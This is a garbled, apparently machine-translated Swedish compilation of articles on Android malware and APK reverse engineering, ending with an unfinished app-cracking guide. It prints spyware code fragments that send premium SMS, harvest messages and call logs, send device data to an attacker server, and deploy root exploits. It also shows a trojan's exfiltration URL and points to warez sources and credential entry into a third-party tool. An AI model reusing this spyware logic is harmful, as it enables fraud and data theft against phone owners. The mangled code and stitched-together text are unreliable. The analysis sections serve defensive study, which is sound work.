Beskrivning av skadlig programvara för Android. Vi öppnar, modifierar och packar Android-applikationer. Malware-analys

Samlingen av skadliga Android-applikationer från vissa antiviruslaboratorier innehåller redan mer än 10 miljoner prover. Denna siffra väcker fantasin, men cirka 9 miljoner 995 tusen av dem bytt namn till kopior av de ursprungliga virusen. Men om vi analyserar källkoden för de återstående tusentals proverna av malvari, kan vi se att alla kombineras från ett litet antal unika funktionella block (flera modifierade och kombinerade på olika sätt).

Saken är att wirmakers ofta utför mycket triviala uppgifter:

  • skicka SMS till ett betalt nummer;
  • ta tillvara konfidentiell användarinformation (telefonnummer, meddelandetexter, data från ett SD-kort, och så vidare);
  • samla in data om en infekterad enhet;
  • utnyttja administrativa rättigheter på enheten (för att installera applikationer utan tillstånd från ägaren eller för att inaktivt inaktivera enheten);
  • spåra inloggningar, lösenord och betalkortsdata som användaren anger på webbplatserna för Internetbanksystem. Hur gör de det? Låt oss försöka penetrera den dystra världen för mobil virmaking och se vad som händer där.

SMS-sändning

Vem använder:

  • AdSms;
  • FakePlayer;
  • HippoSms.

Den vanligaste typen av virus är SMS-trojaner. Dessa virus skickar helt enkelt meddelanden till betalda nummer utan samtycke från användaren. Det är väldigt lätt att skapa ett sådant program eller skriva om det färdiga programmet till önskat nummer. Och processen för att få förmåner är extremt förenklad - till skillnad från till exempel att spåra bankdata.

Följande är det enklaste kodexemplet. Detta är en elementär funktion för att skicka SMS. Det kan vara komplicerat genom att kontrollera sändningsstatus, välja nummer beroende på abonnentens plats och sedan radera SMS.

Privat statisk SendSms (String DestNumber, String SmsText) (// Försök att starta sendTextMessage-metoden för SmsManager-objektet (standardprogrammet för att skicka SMS till den aktuella enheten) med ett minimumantal parametrar: mottagarnummer och prova meddelandetekst (SmsManager.getDefault (). SendTextMessage (DestNumber) , , SmsText, , null); return true;))

Var man ska leta efter viruskoden

I de allra flesta fall inträffar infektionen av telefonen genom installation av applikationer. Alla Android-applikationer finns som en fil med apk-förlängningen, som i huvudsak är ett arkiv. Du kan se innehållet med Android SDK, APK till JAR-filkonverteraren och Java-bytekoddekompilatorn. Applikationsbyggnaden (APK) består av följande delar:

  • resources.arsc - resurstabell;
  • res (mapp) - faktiskt resurser (ikoner etc.);
  • META-INF (mapp) - innehåller filer med följande innehåll: resurskontrollsumma, applikationscertifikat och beskrivning av APK-enheten;
  • AndroidManifest.xml - alla typer av serviceinformation. Inklusive behörigheter, som applikationen ber om innan den installeras för korrekt funktion;
  • klasser.dex - du har antagligen hört att på Android-operativsystem körs all kod med den virtuella Dalvik-maskinen (från och med version 4.4, ART-stöd visas), vilket inte förstår vanlig Java-bytekod. Därför finns det filer med tilläggs-dex. Tillsammans med de nödvändiga och användbara klasserna (som ansvarar för programmets funktionalitet) innehåller den också skadlig kod (viruskoden som vi kommer att analysera i den här artikeln).

Skriva användarinformation till en textfil

Vem använder:

  • NickySpy;
  • SmsSpy.

Det finns en kategori virus som jagar efter användaruppgifter. Mekanismen för deras handling är också enkel. De laddar antingen upp användarfiler till servern för sin skapare, eller samlar in all data i txt (CSV, XML - inte viktigt). Kontakter av alla slag, meddelanden från olika snabbmeddelanden, mediefiler etc. kan vara intressanta för angriparna.

SMS från infekterade användare är särskilt värdefullt av telefonnummer till avsändare och mottagare - de kan fylla på databasen för skräppost. Mindre vanligt används virus av denna typ för att infektera enheter av specifika personligheter - nästa gång din flickvän erbjuder dig att testa en Android-applikation skriven till henne (ah, karamba! - red.), Tappa inte vaksamhet :).

// Läs antalet SMS på enheten arrayOfObject \u003d (Object) localBundle.get ("pdus"); int j \u003d arrayOfObject.length; // Gå igenom varje SMS i \u003d 1 medan (true) (if (i\u003e \u003d j) break; // Skapa ett SMS-meddelandeobjekt SmsMessage localSmsMessage \u003d SmsMessage.createFrompdu ((byte) arrayOfObject [i]); // Put till strängvariabler avsändarens nummer, text och tid för skickning av SMS String MessageNumber \u003d localSmsMessage.getOriginatingAddress (); String MessageText \u003d localSmsMessage.getDisplayMessageBody (); long l \u003d localSmsMessage.getTimestampMillis (); Date localDate \u003d new Date (l )D String nytt SimpleDateFormat ("åååå-MM-dd HH: mm: ss"). format (localDate); // Forma en sträng från den mottagna datan och skriv den till en textfil med hjälp av WritRec-användningsmetoden String MessageInfo \u003d 7MessageNumber + "#" + MessageText + "#" + MessageTimeDate + ";" WritRec (paramContext, "sms.txt", MessageInfo); // Gå till c För nästa meddelande i + \u003d 1;) Det är också bekvämt att fylla på skräppostlistan från abonnentens samtalshistorik. Här är koden som kan köras på ett inkommande samtal: If (parmIntent.getAction (). Equals ("android.intent.action.NEW_OUTGOING_CALL")) (// Sätt abonnentnumret String phonenumber \u003d paramIntent.getStringExtra ("android.intent). extra.PHONE_NUMBER "); // Generera en sträng från samtalnumret och datumet String PhoneCallRecord \u003d telefonnummer +" # "+ getSystemTime (); // Ring metoden WritRec () (dess kod anges inte här), som lägger till strängen till textfilen med Samtalshistorik WritRec (paramContext, "phonecall.txt", PhoneCallRecord);)

När informationen har registrerats överförs den till ”högerhänder”. Koden nedan laddar upp samtalshistoriken till servern:

Private void uploadPhonecallHistory () kastar IDException (medan (true) (return; // Kontrollera om vi har filen om (! FileIsExists (/data/data/spyapp.pg/files/phonecall.txt ")) fortsätter; // Vi skapar ett objekt - filnedladdaren UploadFiles localUploadFiles \u003d new UploadFiles (); String uploadkeynode \u003d getKeyNode ("uid", "uid_v"); // Kör metoden.advanceduploadfile (dess kod ges inte här) för att ladda upp filen till virusmaker-servern localUploadFiles. advanceduploadfile (uploadkeynode, "/ data / data / spyapp.pg / files / phonecall.txt");))

Informationsinsamling

Vem använder:

  • DroidKungFu;
  • DroidDream;
  • de allra flesta malvari är likadana.

I princip är information om infekterade enheter infekterade med hans program användbar för alla virustillverkare. Att få det är väldigt enkelt. En matris skapas med data om telefonens egenskaper (en fullständig lista kan hittas i Android-utvecklarhandboken) och skickas med en POST-begäran till ett PHP-skript (språket är inte principiellt) på angriparens server, det bearbetar data och lägger det i databasen för senare användning.

Privat tomt rapportState (int paramInt, string paramString) (// Skapa en matris och lägg in serviceinformation i den ArrayList UserInformation \u003d new ArrayList (); UserInformation.add (new BasicNameValuePair ("imei", detta.mImei)); UserInformation.add ( new BasicNameValuePair ("taskid", this.mTaskId)); UserInformation.add (new BasicNameValuePair ("state", Integer.toString (paramInt))); // Om funktionen har parametern paramString (kommentar) definierad, lägg den i en matris och dess if (paramStrng! \u003d null) && (! "". är lika med (paramString))) UserInformation.add (new BasicNameValuePair ("comment", paramString)); // Skapa en HTTP POST-begäran med adressen till skriptet som samlar in data HttpPost localHttpPost \u003d new HttpPost ("http://search.virusxxxdomain.com:8511/search/rtpy.php"); prova (// Lägg till vår dataarray till begäran och kör den med hjälp av standard HTTP-klienten localHttpPost.setEntity (ny UrlEncodeFormEntity (UserInformation, "UTF-8"))); ny StandardHttpClient (). exekvera (localHttpPost) .getStatusLine.getStatusCode (); återvända; ))

böka

Vem använder:

  • DroidKungFu;
  • DroidDream;
  • RootSmart.

En av de mest irriterande saker som kan hända med en Android-enhet är dess rotvirus. När allt kommer omkring kan ett skadligt program göra allt med det: installera andra virus, ändra maskinvaruinställningarna. Den här åtgärden genomförs genom att man utnyttjar utvärderingar i tur och ordning:

Private void RootFunc () (ApplicationInfo localApplicationInfo \u003d getApplicationInfo (); / * "ratc" är en kopia av den berömda root exploit Rage Against The Cage. Kiall är ett stopp för alla processer som startats av den aktuella applikationen. Gjsvro är en exploit för att förvärva udev-rättigheter (används i Linux-system för avancerat arbete med hårdvara och nätverksgränssnitt.) Allt detta kopieras till rätt plats * / Utils.copyAssets (detta, "ratc", "/ data / data" + localApplicationInfo.packageName + "/ ratc"); Utils .copyAssets (detta, "killall", "/ data / data" + localApplicationInfo.packageName + "/ killall"); Utils.copyAssets (detta, "gjsvro", "/ data / data" + localApplicationInfo.packageName + "/ gjsvro "); // Och kör Utils.oldrun (" / system / bin / c med kommandoraden hmod "," 4755 /data/data"+localApplicationInfo.packageName + "/ ratc"); Utils.oldrun ("/ system / bin / chmod", "4755 /data/data"+localApplicationInfo.packageName +" / killall " ); Utils.oldrun ("/ system / bin / chmod", "4755 /data/data"+localApplicationInfo.packageName +" / gjsvro)); nya MyTread.start (); )

Mobila Malvari-webbplatser

Kasperskiy Labs expertblogg Den här resursen innehåller högkvalitativa och detaljerade artiklar om många aspekter av datasäkerhet, inklusive Android-virus. Du bör regelbundet besöka denna webbplats för att hålla dig à jour med den senaste utvecklingen.

Gruppen ägnas åt ett öppet källkodsverktyg för alla typer av manipulationer med koden för Android-applikationer (dekompilering och modifiering av DEX / ODEX / APK-filer och så vidare). Androguard innehåller också en omfattande databas med artiklar om virus. Förutom korta översyner av funktionalitet och skyddsmetoder finns det detaljerade analyser av Malvari-koden.


Avsnitt för hot om hot på www.fortiguard.com Telefonvirus encyklopedi. Varje artikel är en funktionell recension smaksatt med en betydande mängd tekniska detaljer. Förutom information om hot mot operativsystemet Android finns artiklar om virus för Symbian OS, iOS och andra plattformar.


Virusskydd

Vissa användare tror att om du laddar ner applikationer uteslutande från Google Play och installerar antivirus på din smartphone så garanterar detta helt säkerhet. Smickra dig inte själv: Meddelanden visas regelbundet på webben om förekomsten av malvari på den officiella marknaden. Och antalet nyligen växande skadliga program mäts i hundratusentals per månad, vilket gör det svårt att få dem in i antivirusprogramdatabaserna i tid. En verklig säkerhetsgaranti kan ges genom att manuellt kan se koden för APK-filen innan du installerar den på telefonen. Du behöver inte vara en kodande guru för att upptäcka skadliga fragment. Och vår artikel hjälper dig med detta.

slutsats

Som vi ser av exemplen skiljer sig inte mobil virmeykning av teknisk komplexitet. Naturligtvis är dessa exempel förenklade till loggformatet - först och främst missas hanterare av fel och undantag, såväl som vissa tekniska detaljer, frånvaron av som inte kommer att hindra dig från att förstå principerna för Android-malvari, men skyddar dig från onödiga experiment. Vi stöder ju inte skapandet av virus, eller hur? 🙂

Extra Field är en sårbarhet i Google Android som gör det möjligt för angripare att ändra innehållet i installationspaketet för alla applikationer för detta OS utan att skada dess digitala signatur. Med hjälp av denna sårbarhet kan virusförfattare sprida trojaner genom att injicera en skadlig komponent i en legitim eller betrodd applikation.

Dr.Web Anti-virus för Android kan inte eliminera denna sårbarhet, eftersom den upptäcks på själva operativsystemets nivå, men det upptäcker och tar bort skadliga program som sprider sig med dess hjälp även när de försöker penetrera och köra på den skyddade enheten.

Tekniska detaljer

Applikationsfördelningar för operativsystemet Google Android distribueras i form av .APK-filer, som är ett ZIP-arkiv som innehåller alla komponenter som krävs för att applikationen ska fungera. Under installationen extraheras de från arkivet och deras kontrollsumma kontrolleras enligt en speciell lista. Varje applikation har sin egen digitala signatur.

Med sårbarhet Extra fält, kan angripare ändra strukturen i APK-arkivet: när de lägger till sitt servicefält värdet på en av de ursprungliga programkomponenterna (särskilt klassen.dex-filen) utan de tre första bytena medan de placerar en modifierad version av denna fil på sin plats uppfattas den senare av operativsystemet som legitimt och tillåtet att installera. Trots det faktum att den potentiella användningen av denna sårbarhet begränsas av storleken på dex-filen, som inte bör vara mer än 65 533 byte, kan cyberbrottslingar som är intresserade av attacken lätt dra nytta av den och ta som en oskyldig program eller spel som har en komponent av motsvarande storlek.

Filen.dex innehåller den sammanställda applikationskoden i APK-filen. APK-paketets rubrik innehåller lite utrymme i vilket namnet på filen med tillägget .dex lagras, samt ett fält som kallas extrafält, som lagrar själva innehållet i klassen.dex-filen och en lista över klasser som används av applikationen. Om rubrikfältet reduceras med tre byte ändras längden på motsvarande fält, vilket gör det möjligt för angripare att inkludera de ursprungliga klassen.dex i det extra fältet, såväl som en skadlig kopia av den här filen, varav vissa också kommer att placeras i det extra fältet. Ett modifierat fält kan innehålla klasser skapade av angripare som har skadlig funktionsbelastning. När du installerar applikationen läser operativsystemet innehållet i det här fältet, vilket resulterar i att filen klasser som ändras av angriparna installeras på den angripna enheten.

Du har tappat källan till ditt program och du måste återställa koden. Du har laddat ner ett program med ett virus och vill veta vad det gör.

Android-program distribueras i arkiv. Dessa arkiv har tillägget ".apk". Sådana filer är inte krypterade och är i huvudsak zip-filer. Du kan byta namn på apk-filen till zip för att se detta.

Du måste gräva djupare i APK-filen och få lite data. Du kan träna på katter. Låt oss ta vårt "Hello Kitty" -program, hitta dess apk-fil i projektmappen app \\ build \\ utgångar \\ apk   och flytta till en separat mapp för experiment.

När du har packat upp arkivet kan du se applikationens struktur och träffa bekanta filer. Och även extrahera några filer för visning. Till exempel i en mapp res / drawable-hdpi-v4   Jag hittade min bild pinkhellokitty.png. Det verkar som om detta är lycka. Men hej vänta. Om det inte finns några problem med bilderna, blir läsningen av XML-filen en bummer. Vissa rader är synliga för dig, men i allmänhet är texten helt oläslig. Så först, låt oss gå åt andra hållet.

Eftersom anpassade Android-applikationer körs i en java-maskin ärver APK-filerna alla funktioner i JAR-filer.

Innehållet i arkivet ser vanligtvis ut så här:

META-INF-katalogen innehåller:

CERT.RSA - Ansökningscertifikat
  CERT.SF - kontrollsumma av resursfiler (bilder, ljud etc.)
  MANIFEST.MF - serviceinformation som beskriver själva apk-filen

Analys av skadlig kod

Ta programmet som ett exempel. suspicious.apk, som upptäcks av olika antivirus som ett skadligt program.

För att bättre förstå vad du ska leta efter måste du analysera filen "AndroidManifest.xml" - se vilka specifika behörigheter den analyserade applikationen behöver. Denna fil är binär, inte vanlig text xml. För att kunna läsa det måste du använda "aapt" -konsolverktyget från Android SDK. Det finns i plattformsverktygskatalogen. Eftersom det inte finns något grafiskt gränssnitt måste kommandot anges i konsolen. Till exempel för Windows:

C: \\ android-sdk-windows \\ platform-tools \\ aapt.exe l -a C: \\ incoming \\ suspicious.apk

Naturligtvis måste du ersätta dina vägar. På Linux kommer kommandot att vara detsamma med uppenbara skillnader (det finns inga enhetsbokstäver och inga "exe" -tillägg för verktyget). För enkelhets skull kan utgången omdirigeras till en fil:

C: \\ android-sdk-windows \\ platform-tools \\ aapt.exe l -a C: \\ inkommande \\ misstänkt.apk \u003e\u003e C: \\ inkommande \\ manifest.txt

I filen måste du hitta avsnittet "Android-manifest" och leta efter en lista över behörigheter. I den analyserade filen ser det ut så här:

   "android.permission.READ_PHONE_STATE" (Raw: "android.permission.READ_PHONE_STATE") "android.permission.INTERNET" (Raw: "android.permission.INTERNET") "android.permission." (Rå: "android.permission.RECEIVE_SMS")

Från denna information blir det tydligt att programmet kan ta emot telefonens tillstånd (detta inkluderar till exempel "telefon i samtalsläge", "telefon i datamottagningsläge"). Denna behörighet behövs också för att få det telefonnummer som programmet körs på, arbeta med nätverket och övervaka ankomst av SMS. Dessa aspekter måste fokuseras på vid vidare analys.

För att få åtkomst till koden måste du utföra två steg - konvertera apk-filen till en jarfil och dekompilera den mottagna bytekoden till en mer mänsklig läsbar form.

Vi använder "dex2jar" -konverteraren:

C: \\ dex2jar \\ dex2jar.bat C: \\ inkommande \\ suspicious.apk

Den konverterade filen kommer att finnas i samma katalog som originalfilen. ".Dex2jar.jar" kommer att läggas till hans namn, det vill säga i det här exemplet kommer det att vara "suspicious.apk.dex2jar.jar".

Denna fil kan öppnas med en decompilerare. Pakethierarkin i decompileringsfönstret ser ut så här:


Detta slutför de förberedande stegen - ytterligare framgång beror bara på din kunskap om Java och möjligheten att använda en sökmotor.

Lyckligtvis har instansen som väljs för exemplet ganska blygsamma storlekar - den slutliga burken är bara 7,01 kB.

Programmet har bara sex klasser. Uteslut de som inte är av intresse. Detta är klass R, som bara visar identifierarna för alla resurser. Du kan också utesluta klassen från omtanke. configsom innehåller monteringskonfigurationen.

Låt oss överväga de återstående tre klasserna mer i detalj.

aktivering

Denna klass skjuter på ett evenemang. onCreate (), det vill säga omedelbart efter att applikationen startats.

TelephonyManager localTelephonyManager \u003d (TelephonyManager) getSystemService ("telefon");   - skapar localTelephonyManagersom placerar data om enheten.

str1 \u003d localTelephonyManager.getDeviceId ();   - väljer enhetens identifieringsnummer från den mottagna informationen och placerar den på strängen str1

Nästa är en cykel som delar sig Enhets   i fyrsiffriga bitar, infoga en bindestreck “-” mellan dem, det vill säga från XXXXXXXXXXXXXXXXX får du XXXX-XXXX-XXXX-XXXX. Den resulterande strängen av nummer och bindestreck överförs till Textview   med identifieraren 2131034112.

SmsReciever

Denna klass utlöses när ett SMS-meddelande kommer, en händelse onReceive ().

Uppgiften för denna klass är att spåra inkommande SMS och, om det upptäcks, köra klassen MainServiceoch överför honom en pekare till ett nytt inkommande meddelande.

MainService

Denna klass är ganska stor, så jag kommer inte att ge den i sin helhet. Omedelbart efter samtalet startar den underklassen “SmsBlockerThread”, som blockerar avisering av inkommande SMS så att användaren inte får meddelande om ett nytt inkommande SMS.

Sedan bearbetas det inkommande SMS på detta sätt:

String str1 \u003d localSmsMessage.getOriginatingAddress ();   - mottagarens telefonnummer (det vill säga det telefonnummer som trojanen är installerad på) placeras i en variabel str1.

String str2 \u003d localSmsMessage.getMessageBody ();   - meddelandekroppen placeras i variabeln str2

Sedan skapas kopplade par. localBasicNameValuePair1   och localBasicNameValuePair2   i vilka värden placeras

F0 \u003d<номер телефона>   b0 \u003d<текст сообщения>

Dessa par lagras i en lokalArrayList-matris, till vilken ett par läggs till senare localBasicNameValuePair3representerar id \u003d

I det här fallet, som du kan se, Enhets   fick igen, men använde inte vad som mottogs i klassen aktivering. Avslutas med en metod som kallas postRequest ()   från den sista klassen ServerSession:

Försök (JSONObject localJSONObject \u003d ServerSession.postRequest (ny UrlEncodeFormEntity (localArrayList)); return;)

Parametern är samma grupp av par, där telefonnummer, SMS-innehåll och enhets-ID.

ServerSession

Denna klass har två metoder: initUrl ()som returnerar delen av länken "(http://softthrifty.com/security.jsp)":

Public static String initUrl () (return "http://softthrifty.com/security.jsp";)

och bra metod postRequest ()som kallades från klassen MainService. Trots storleken, uppgiften postRequest ()   enkelt - skicka till servern med länken som returneras av metoden initUrl (), data genom att lägga till par från en matris sammansatt i MainService. Det vill säga bara gå till länken:

   (http://softthrifty.com/security.jsp?f0\u003d<номер телефона>& b0 \u003d<текст сообщения>& id \u003d )

resultera

Så den här trojanen avlyssnar SMS och skickar en begäran till servern, där den överför det infekterade telefonnumret, SMS-innehållet och identifieraren för den infekterade telefonen. Detta beteende kan vara ett tecken på att en bank-trojan attackerar tvåfaktorautentisering. För en framgångsrik attack måste följande villkor vara uppfyllda:

1) angriparen måste smitta offrets dator för att fånga upp data för nätbanker;
  2) angriparen måste smitta offrets telefon för att fånga SMS med en bekräftelseskod från banken;
  3) angriparen måste på något sätt ansluta användaren av den infekterade datorn och den infekterade telefonen för att veta vilka referenser för onlinebank som denna bekräftelseskod kommer från;

På grund av dess storlek och uppenbarheten i dess aktiviteter är ett sådant prov väl lämpat att visa de grundläggande teknikerna för att analysera skadlig programvara för Android.

Beskrivning av skadlig programvara för Android

Alexander Antipov

En McAfee-rapport om tillståndet för potentiella hot under det första kvartalet i år visade närvaron av 6 miljoner unika skadliga prover som identifierats.


En McAfee-rapport om tillståndet för potentiella hot under det första kvartalet i år visade närvaron av 6 miljoner unika skadliga prover som identifierats. I detta avseende visade sig första kvartalet 2011 vara det mest effektiva med avseende på antalet upptäckta skadliga program jämfört med samma perioder under alla tidigare år. En McAfee-rapport konstaterade att Android-enheter alltmer blir bärare av skadlig programvara. Enligt Android-experter blev det det första kvartalet i år det näst mest populära mobilmålet för inkräktare efter Symbian.

I den här artikeln kommer vi att vägleda dig genom de olika stadierna i mjukvaroanalys, och därmed låta dig förstå vad som är exakt sårbarheterna för Android-plattformen och hur attackerna använder dem. Först kommer vi att börja med att diskutera Android-utvecklingshistoriken och sedan gå vidare till grunderna i hur plattformskonfigurationspaket fungerar. Parallellt kommer vi att analysera i detalj alla skadliga program som är specifikt riktade mot Android.

Introduktion till Android-plattformen

Android är ett operativsystem baserat på Linux-kärnan för mobiltelefoner, kommunikatörer, surfplattor och andra enheter. Utvecklare skriver Android-applikationer huvudsakligen på Java-språket, vilket ger enhetskontroll med hjälp av Java-biblioteket som utvecklats av Google. Android Java-kompilatorn sammanställer en uppsättning utvecklarfiler till klassfiler och sedan konverteras klassfilerna till dex-filer. Dessa filer har en bytekod som specifikt används för att känna igen den virtuella Dalvik-maskinen, som är en Java-applikation för bytekod exekveringsmiljö (JVM) som körs på en speciell Android-applikation. XML-filer konverteras till binärt format, optimerat för att skapa små filer. .Dex-filer, XML-binärer och andra resurser som behövs för att köra applikationer paketeras till en Android-paketfil. Dessa filer har förlängningen .apk, men de är vanliga ZIP-filer. När apk-paketet har bildats signeras det digitalt av utvecklaren och laddas upp till Android Market via Googles webbplats, varifrån användaren kan ladda ner dessa apk-filer och installera dem på sin Android-enhet. För närvarande finns det mer än 2 miljoner nedladdningsbara applikationer i det centrala arkivet för Android-applikationer, och glöm inte att Google Android-applikationer kan laddas ner från andra webbplatser från tredje part.

krav

  • Verktyg för att packa upp apk-filer - Winzip
  • Verktyg för att konvertera .dex-filer till .jar-filer: .. Dex2jar
  • Grafisk verktyg för Java-dekompilering: JD-GUI
  • Prover av Android-riktad skadlig programvara för analys

Detaljerade steg

Steg I:
   För att inleda en analysprocedur för skadlig programvara måste du först ladda ner ett skadligt exempel riktat mot Android-plattformen. I det här fallet kommer vi att ladda ner iCalendar.apk, som har blivit en av de 11 misstänkta applikationer som har tagits bort från Android Market, eftersom det upptäckte skadligt innehåll i Gadget Media. Kontroll av begäran om VirusTotal visade en detekteringsgrad på 46,5%, som visas i figuren nedan.


Fig. 1

Steg II:

Extrahera iCalendar.apk-filen med Winzip, varefter du kan visa innehållet i file.apk

Fig. 2.. Dex och. XML-filerna som diskuterats tidigare i denna artikel visas i figur 2. 2.

Steg III:

Nästa steg är att köra koden med verktyget "dex2jar". Dex2jar-verktygslådan konverterar Dalvik .dex-körbara filer till Java .klass-filer. "Classes.dex" - filen från vårt program faller in i dex2jar-katalogen "och konverteras med följande kommando: dex2jar.bat classes.dex.

Fig. 3 Skapa "klasser.dex.dex2jar.jar" -filer i en katalog.

Fig. 4

Steg iv:

Vi använde JD-GUI för att visa .klass-filer. Öppna filen "Classes.dex.dex2jar.jar" med JD-GUI.

Fig. 5: Full källkod för Android-appar visas.

Steg V:
   När du har fått programmets källkod kan du analysera den faktiska källan och kontrollera om det finns problem. Det noterades att filen med klassnamnet "SmsReceiver.class" ser något konstig ut, eftersom det här är programkalendern, och SmsReceiver krävs inte i det här fallet. Vid ytterligare inspektion av källkoden "SmsReceiver.class" konstaterades det att den innehåller tre nummer 1066185829, 1066133 och 106601412004, som ser ganska misstänkta ut. Situationen liknar i synnerhet ett försök att blockera meddelanden som skickats från de angivna numren till Android-enheten när det här programmet installerades och startades.

Fig. 6

Efter att ha sökt efter dessa nummer via Google konstaterades det att det här är SMS-servicenummer som ägs av China Mobile (fig. 7).

Fig. 7

Vi försökte analysera varför applikationen försöker blockera leveransrapporter från ovanstående nummer i följande steg.

Steg VI:
   Efter att analysen av filen "SmsReceiver.class" är klar, fortsätter vi till analysen av koden för följande .klassfil, d.v.s. "ICalendar.class". Den första av dem ser mest misstänksam ut. Vi märkte särskilt att en funktion sendSms () var närvarande i showImg () -funktionen.

Fig. 8

Så vi initierade en kontroll av filen "sendSms ()" för att se funktionerna i utförandet av kommandon. Som visas i figuren nedan ser vi att när sendSms () -funktionen är aktiverad skickas ett SMS med texten 921X1 automatiskt till numret 1066185829.

Fig. 9

Steg VII:
   I slutet av sendSms () -funktionen märkte vi närvaron av ett funktionssparande-kommando. Således sökte vi efter spara () -funktionen i koden och hittade dess direkta förhållande till sendSms () -funktionen.

Fig. 10

Efter att ha genomfört lämplig analys och förtydligat olika aspekter av Save () -funktionen, konstaterades det att strängen "Y" passerar varje gång Save () -funktionen exekveras. Dessutom drogs slutsatsen att sendSms () -funktionen bara kan kallas en gång, men inte mer, eftersom det finns en "if" -slinga för sendSms () -funktionen.

Steg VIII:
   Genom att kombinera resultaten från hela analysen kan du få en klar uppfattning om hur olika typer av skadlig program fungerar fullt ut.

Ansökan skickar SMS till premiumnummer 1066185829 med texten 921X1. Parallellt blockeras alla inkommande leveransrapporter av meddelanden till detta nummer, och som ett resultat kommer offret inte att få någon signal om förekomsten av ett sådant SMS som skickas av applikationen i bakgrunden. Dessutom skickas SMS bara en gång, och offret kan inte på något sätt misstänka vad som faktiskt orsakade debitering av pengar från kontot.

Fig. 11: Komplett resultat om skadlig programvara från iCalendar.apk-cykeln

slutsats:

   Ett skadligt program med root-åtkomst till telefonen har inte bara möjligheten att läsa alla data som lagras på den, utan kan också överföra den till absolut vilken plats som helst. Denna information kan inkludera kontaktinformation, dokument och till och med lösenord för konton. Om du har root-åtkomst kan du installera andra komponenter som inte är tillgängliga för visning i telefonens användargränssnitt, varför de inte lätt kan tas bort. Nedan listas de viktigaste sätten att skydda applikationer från skadlig programvara för Android-plattformen:
  • Ladda ner applikationen endast från pålitliga källor;
  • Kontrollera relevanta betyg och recensioner innan du laddar ner applikationen.
  • En noggrann utvärdering av behörigheterna för specifika applikationer;
  • Installera Android OS-uppdateringar när de blir tillgängliga;
  • Installera program för att skydda mobila applikationer.

Dokumentet ger ett exempel på skadan som orsakas av skadlig programvara för intetanande användare. Om en person inte är medveten om sin existens, kommer sådana program att göra det möjligt att utföra nästan alla obehöriga åtgärder i bakgrunden. Användning av skadliga program kan medföra ekonomiska förluster för användaren genom att debitera pengar från hans balansräkningar och stela lösenord. Dessutom kan de skada telefonen själv. Som ni ser är det mycket viktigt att vidta lämpliga försiktighetsåtgärder i tid för att förhindra att sådana applikationer kommer in i din telefon. Bättre att spela det säkert en gång än att ångra det tio gånger.

Ibland passar vissa Android-applikationer inte användaren med något. Ett exempel är irriterande reklam. Och det händer så här - alla är nöjda med programmet, men bara översättningen i det är antingen en kurva eller inte alls. Eller till exempel är programmet rättegång, men det finns inget sätt att få den fullständiga versionen. Hur gör man en skillnad?

införandet

I den här artikeln kommer vi att prata om hur man parser APK-paketet med applikationen, överväger dess interna struktur, demonterar och dekompilerar byte-koden och försöker också göra några ändringar i applikationerna som kan ge oss en eller annan fördel.

För att göra allt detta själv behöver du åtminstone grundläggande kunskaper om Java-språket, som används för att skriva Android-applikationer, och XML-språket, som används överallt i Android - från beskrivningen av själva applikationen och dess åtkomsträttigheter till lagring av raderna som kommer att visas på skärmen. Du behöver också förmågan att hantera specialiserad konsolprogramvara.

Så, vad är APK-paketet, där absolut all mjukvara för Android distribueras?

Dekompilera applikationer

I artikeln arbetade vi bara med demonterad applikationskod, men om du gör mer allvarliga ändringar av stora applikationer kommer det att bli mycket svårare att förstå smali-koden. Lyckligtvis kan vi dekompilera dex-koden till Java-kod, som, även om den inte är original och inte kompilerad tillbaka, är mycket lättare att läsa och förstå applikationens logik. För att göra detta behöver vi två verktyg:

  • dex2jar - översättare av Dalvik bytecode till JVM bytecode, på grundval av vilken vi kan få Java-kod;
  • jd-gui - själva decompilern, som gör att du kan få läsbar Java-kod från JVM-bytekod. Alternativt kan du använda Jad (www.varaneckas.com/jad); även om den är ganska gammal, genererar den i vissa fall mer läsbar kod än Jd-gui.

Använd dem enligt följande. Kör först dex2jar och ange sökvägen till apk-paketet som ett argument:

   % dex2jar.sh mail.apk

Som ett resultat kommer mail.jar Java-paketet att visas i den aktuella katalogen, som redan kan öppnas i jd-gui för att visa Java-kod.

Enhets APK-paket och deras kvitto

Android-applikationspaketet är faktiskt en vanlig ZIP-fil, som inte kräver några specialverktyg för att se och packa upp innehållet. Det räcker med att ha en arkivering - 7zip för Windows eller konsol-packa upp på Linux. Men det här handlar om omslaget. Vad är inuti? Inuti, i det allmänna fallet, har vi följande struktur:

  • META-INF /   - innehåller ett digitalt certifikat för applikationen, certifierar dess skapare och kontrollsumma för paketfilerna;
  • res / - olika resurser som applikationen använder i sitt arbete, till exempel bilder, deklarativ beskrivning av gränssnittet samt andra data;
  • AndroidManifest.xml   - beskrivning av ansökan. Detta inkluderar till exempel en lista med nödvändiga behörigheter, den nödvändiga versionen av Android och den nödvändiga skärmupplösningen;
  • classes.dex   - Kompilerad byte för applikationer för den virtuella Dalvik-maskinen;
  • resources.arsc   - också resurser, men av en annan typ - i synnerhet strängar (ja, den här filen kan användas för Russification!).

De listade filerna och katalogerna finns, om inte i alla, kanske i de allra flesta APK: er. Det är dock värt att nämna några fler inte så vanliga filer / kataloger:

  • tillgångar   - en analog resurs. Den huvudsakliga skillnaden är att för att få tillgång till en resurs måste du känna till dess identifierare, men tillgångens lista kan erhållas dynamiskt med metoden AssetManager.list () i applikationskoden;
  • lib   - Native Linux-bibliotek skrivna med NDK (Native Development Kit).

Den här katalogen används av speltillverkare och placerar spelmotorn skriven i C / C ++ där såväl som skapare av högpresterande applikationer (till exempel Google Chrome). Vi räknade ut enheten. Men hur får man paketfilen för den intressanta ansökan? Eftersom det inte är möjligt att ta APK-filer från enheten utan root (de finns i katalogen / data / app), och rooting är inte alltid tillrådligt, finns det minst tre sätt att få applikationsfilen till datorn:

  • aPK Downloader-förlängning för Chrome;
  • real APK Leecher-app;
  • olika filhosting och warezniki.

Vilken som ska användas är en fråga om smak; vi föredrar att använda separata applikationer, därför kommer vi att beskriva användningen av Real APK Leecher, särskilt eftersom det är skrivet i Java och följaktligen kommer att fungera även i Windows, även i nixer.

När du har startat programmet måste du fylla i tre fält: E-post, lösenord och enhets-ID - och välja ett språk. De två första är e-postmeddelandet och lösenordet för ditt Google-konto, som du använder på enheten. Den tredje är enhetsidentifieraren, och den kan erhållas genom att slå koden på uppringaren # #8255##   och sedan hitta raden Enhets-ID. När du fyller i måste du bara ange ID utan android-prefixet.

Efter att ha fyllt och sparat, visas ofta meddelandet "Fel vid anslutning till server". Det är inte relaterat till Google Play, så känn dig fri att ignorera det och leta efter paket som intresserar dig.

Visa och ändra

